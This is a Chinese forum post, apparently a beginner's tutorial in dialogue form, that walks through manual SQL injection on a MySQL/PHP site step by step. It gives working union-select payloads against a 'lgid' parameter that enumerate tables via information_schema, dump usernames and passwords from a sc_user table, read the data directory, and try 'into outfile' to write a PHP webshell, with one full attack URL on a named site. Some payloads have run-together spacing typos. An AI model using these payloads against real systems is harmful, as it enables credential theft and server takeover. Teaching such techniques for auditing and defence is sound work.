新手上路

- 資源幣
- 10
- 積分
- 12
- 貢獻(xiàn)
- 0
- 在線時(shí)間
- 2 小時(shí)
- 注冊(cè)時(shí)間
- 2020-2-19
- 最后登錄
- 2020-5-2
|
代碼審計(jì)入門教學(xué)(三)
小白:“我們主要是以mysql和php環(huán)境下的SQL注入,SQL手工注入的步驟可以分為:
① 判斷是否存在注入;
② 判斷注入類型,分為整數(shù)型和字符型;
③ 判斷字段數(shù);
④ 判斷數(shù)據(jù)庫(kù)版本是否大于5.0;
⑤ 獲取當(dāng)前數(shù)據(jù)庫(kù);
⑥ 獲取當(dāng)前數(shù)據(jù)庫(kù)存在的表;
⑦ 獲取表存在的字段;
⑧ 獲取表內(nèi)的數(shù)據(jù);
⑨ 寫入webshell,如果當(dāng)前用戶是root賬號(hào),并且存在硬盤讀取權(quán)限的話。”
仔仔:“那我如何判斷是否存在注入呢?”
小白:“不急,且聽我細(xì)細(xì)道來(lái)。我們先在瀏覽器打開上次發(fā)現(xiàn)的可以手工注入的鏈接:
dm32.jpg (17.95 KB, 下載次數(shù): 81)
下載附件
保存到相冊(cè)
2020-2-19 23:05 上傳
小白:“如何判斷注入類型的方法上次也講了,我們接著講第三步驟,判斷字段數(shù),判斷字段數(shù)有兩種方法,order by和聯(lián)合查詢,聯(lián)合查詢也可分為union select和union all select。當(dāng)然啦,我這里只是講常用的兩種方法,如果有其他大牛有其他方法,那得好好討教才行!
仔仔:“那這兩種方法有什么區(qū)別呢?”
小白:“個(gè)人拙見是order by可以使用二分法快速獲取到具體字段數(shù),聯(lián)合查詢比較笨,要一個(gè)一個(gè)數(shù)的猜,直到字段數(shù)匹配!
接下來(lái)開始實(shí)施:
Lgid=1 order by 10
dm33.jpg (47.31 KB, 下載次數(shù): 88)
下載附件
保存到相冊(cè)
2020-2-19 23:06 上傳
DM34.jpg (27.4 KB, 下載次數(shù): 90)
下載附件
保存到相冊(cè)
2020-2-19 23:06 上傳
試了下,從1到10都沒檢測(cè)出來(lái),換成聯(lián)合查詢判斷。
DM35.jpg (53.91 KB, 下載次數(shù): 87)
下載附件
保存到相冊(cè)
2020-2-19 23:07 上傳
說(shuō)到這里,不得不說(shuō)下mysql的注釋符,mysql的注釋符有:
#(url編碼是23%)
--(一般和加號(hào)一起,--+)
/**/
//
……
小白:“獲取到字段數(shù)后,判斷數(shù)據(jù)庫(kù)版本,可以用version()函數(shù)判斷!
DM36.jpg (19.32 KB, 下載次數(shù): 83)
下載附件
保存到相冊(cè)
2020-2-19 23:07 上傳
仔仔:“為什么要判斷數(shù)據(jù)庫(kù)版本是不是大于5.0呢?”
小白:“這個(gè)我也剛剛準(zhǔn)備和你說(shuō),要判斷數(shù)據(jù)庫(kù)版本大于5.0主要是因?yàn)閙ysql5.0以上的版本存在一個(gè)默認(rèn)數(shù)據(jù)庫(kù)information_schema,這個(gè)數(shù)據(jù)庫(kù)存放了數(shù)據(jù)庫(kù)所有數(shù)據(jù)庫(kù)的表名和字段信息,關(guān)于這個(gè)數(shù)據(jù)庫(kù)更多的信息可以去搜索下。接下來(lái)是獲取當(dāng)前數(shù)據(jù)庫(kù),可以用mysql內(nèi)置函數(shù)database()獲取。”
DM37.jpg (18.43 KB, 下載次數(shù): 86)
下載附件
保存到相冊(cè)
2020-2-19 23:08 上傳
仔仔:“這挺簡(jiǎn)單的!
小白:“知道當(dāng)前數(shù)據(jù)庫(kù)后接下來(lái)獲取表名,這個(gè)有三種獲取方法:
① Table_schema=database();
② Table_schema=’xxxdb’
③ Table_schema=xxxdb的十六進(jìn)制。這三種方法可以靈活應(yīng)用,過(guò)濾單引號(hào)的時(shí)候可以用①和③”
lgid=1 union select1,2,3,4,5,6,table_name database() from information_schema.tables wheretable_schema=database()#
DM38.jpg (15.38 KB, 下載次數(shù): 82)
下載附件
保存到相冊(cè)
2020-2-19 23:08 上傳
可以看到有一些表:
這樣子獲取表名可能存在重復(fù),mysql有一個(gè)關(guān)鍵字distinct可以去除重復(fù)。
lgid=1 union select distinct 1,2,3,4,5,6,table_name from information_schema.tables wheretable_schema=database()#
DM39.jpg (15.05 KB, 下載次數(shù): 87)
下載附件
保存到相冊(cè)
2020-2-19 23:09 上傳
也可以使用mysql數(shù)據(jù)庫(kù)字符串拼接函數(shù)group_concat()拼接字符。
lgid=1 union select1,2,3,4,5,6,group_concat(distinct table_name) from information_schema.tableswhere table_schema=database()#
DM40.jpg (16.01 KB, 下載次數(shù): 89)
下載附件
保存到相冊(cè)
2020-2-19 23:10 上傳
可以看到有以下這些表:
sc_banner,sc_categories,sc_config,sc_download,sc_images,sc_info,sc_language,sc_link,sc_menu,sc_msg,sc_products,sc_tagandseo,sc_user
小白:“Mysql還有其他字符串拼接函數(shù),這里就不一一列舉了,仔仔你有興趣就搜索學(xué)習(xí)!
仔仔:“好咧!”
小白:“知道表了,接下來(lái)獲取表的字段,用的是information_schema.columns表,columns和tables顧名思義是字段s和表s,columns可以獲取到table_name,但tables不能獲取到column_name。接下來(lái)我們獲取sc_user表的字段試試!
lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name=0x73635f75736572#
DM41.jpg (12.86 KB, 下載次數(shù): 83)
下載附件
保存到相冊(cè)
2020-2-19 23:11 上傳
或者lgid=1 union select1,2,3,4,5,6,group_concat(distinct column_name) from information_schema.columnswhere table_schema=database() and table_name='sc_user'#
DM42.jpg (16.12 KB, 下載次數(shù): 78)
下載附件
保存到相冊(cè)
2020-2-19 23:11 上傳
可以看到有以下字段:
ID,user_name,user_admin,user_ps,user_tel,user_qx,user_time,user_email,user_rzm
小白:“獲取到表的字段后就可以獲取表的數(shù)據(jù)了。”
http://www.yuesec.com/rifj_Admin/xxxCMS_Banner.php?lgid=1union select 1,2,3,4,5,6,group_concat(distinct ID,user_name,user_admin,user_qx)from sc_user#
DM43.jpg (21.15 KB, 下載次數(shù): 86)
下載附件
保存到相冊(cè)
2020-2-19 23:12 上傳
小白:“好,獲取到用戶表的用戶名和密碼后就可以登錄后臺(tái)了,如果存在上傳漏洞就可以getshell,一般數(shù)據(jù)庫(kù)當(dāng)前用戶是普通用戶注入到這里就結(jié)束了。如果當(dāng)前數(shù)據(jù)庫(kù)用戶是root,且對(duì)磁盤可讀可寫的話可以通過(guò)into outfile進(jìn)行g(shù)etshell。要通過(guò)數(shù)據(jù)庫(kù)寫shell的話還需要知道網(wǎng)站的存放物理路徑,可以通過(guò)@@datadir獲取到數(shù)據(jù)庫(kù)的物理路徑,如果使用的是wamp或者lampp就萬(wàn)事大吉了,因?yàn)閣amp和lampp網(wǎng)站目錄比較固化。如果不是集成工具部署網(wǎng)站環(huán)境的話,只能通過(guò)物理路徑泄露漏洞獲取,或者通過(guò)load_file()函數(shù)讀取服務(wù)器上的文件猜測(cè)網(wǎng)站存放路徑了!
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) from sc_user#
DM44.jpg (20.67 KB, 下載次數(shù): 86)
下載附件
保存到相冊(cè)
2020-2-19 23:12 上傳
lgid=1 union select1,2,3,4,5,6,group_concat(distinct @@datadir) into outfile ‘D:\\phpstudy\\www\\test.php’#
DM45.jpg (17.99 KB, 下載次數(shù): 87)
下載附件
保存到相冊(cè)
2020-2-19 23:13 上傳
寫入不成功,這在意料之中,因?yàn)楫?dāng)前用戶不是root用戶,沒有磁盤讀寫權(quán)限。
lgid=1 union select 1,2,3,4,5,6,group_concat(distinctuser())#
dm46.jpg (19.23 KB, 下載次數(shù): 91)
下載附件
保存到相冊(cè)
2020-2-19 23:13 上傳
第一條\\是在windows環(huán)境下使用,如果是linux只需要一個(gè)\就可以,如果第一條不行,可以試試第二條。
|
|